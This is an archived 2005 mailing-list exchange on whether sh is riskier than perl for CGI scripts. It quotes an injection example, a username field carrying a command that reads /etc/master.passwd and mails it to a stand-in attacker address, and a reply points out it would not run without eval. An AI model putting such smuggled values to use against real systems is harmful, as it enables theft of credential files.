perl and ports

Fri Feb 4 22:19:34 PST 2005

On Fri, Feb 04, 2005 at 10:13:45PM -0600, Dan Nelson wrote:
> In the last episode (Feb 04), Loren M. Lang said:
> > Actually, I think you should work on sh first, it's a much bigger
> > security hazard than perl.  If you've ever written much sh, you'd
> > realize with it's much loser syntax, it's easy to get into trouble. 
> > At least perl provides use strict and -Tw.  Someone using sh to write
> > cgi scripts is the worst.  Imagine someone writing the following like
> > for a sh cgi script where $USERNAME is a cgi paramater passed into
> > the following script:
> > 
> > echo "<HTML><HEAD><TITLE>Welcome, " $USERNAME "</TITLE></HEAD>"
> > 
> > What if someone wrote the following username and apache was running as
> > root:
> > 
> > charlie; cat /etc/master.passwd | mail haZ0rZ at deathtoyou.com; echo
> 
> Then you would get a web page containing:
> 
> <HTML><HEAD><TITLE>Welcome, charlie; cat /etc/master.passwd | mail haZ0rZ at deathtoyou.com; echo</TITLE></HEAD>
> 
> .  The shell doesn't re-interpret its input unless explicitly told to
> via the "eval" command.  /bin/sh is a little limited for more complex
> scripts due to its lack of arrays, though, so zsh/ksh/bash are much
> better choices :)

Well, my email was meant as a joke and I didn't bother to validate anything
I wrote, I just remember reading something along these lines in a cgi book
warning of the dangers of sh scripting for cgi scripts.  The original
example was more elaborate and probably did use eval, but my point is
that sh can be more dangerous than perl since it uses a looser syntax.
By not using "'s around $USERNAME, it will end up being parsed as
multiple arguments which, for echo, isn't a big deal, but for most
commands you can end up shooting your self in the foot.  I definetly would
not recommend removing it from the system or even recommend against using
it for anything, but just pointing at the irony of considering perl a
giant security hole.

Mostly, I have just found this whole thread very humorous, and I wonder
what the reaction of the developers will be when he trys asking them to
stop using perl.

> 
> -- 
> 	Dan Nelson
> 	dnelson at allantgroup.com

-- 
I sense much NT in you.
NT leads to Bluescreen.
Bluescreen leads to downtime.
Downtime leads to suffering.
NT is the path to the darkside.
Powerful Unix is.

Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc
Fingerprint: B3B9 D669 69C9 09EC 1BCD  835A FAF3 7A46 E4A3 280C